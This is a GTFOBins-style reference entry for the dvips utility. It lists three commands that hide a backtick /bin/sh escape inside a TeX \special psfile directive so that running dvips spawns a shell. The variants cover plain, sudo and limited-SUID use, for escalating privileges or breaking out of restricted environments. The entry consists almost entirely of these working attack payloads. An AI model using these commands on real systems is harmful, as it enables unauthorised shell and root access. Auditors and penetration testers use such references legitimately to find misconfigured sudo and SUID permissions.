GTFOBins.github.io/_gtfobins/dvips.md
2021-04-26 16:07:59 +02:00

452 B

description functions
The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target.
shell sudo limited-suid
code
tex '\special{psfile="`/bin/sh 1>&0"}\end' dvips -R0 texput.dvi
code
tex '\special{psfile="`/bin/sh 1>&0"}\end' sudo dvips -R0 texput.dvi
code
tex '\special{psfile="`/bin/sh 1>&0"}\end' ./dvips -R0 texput.dvi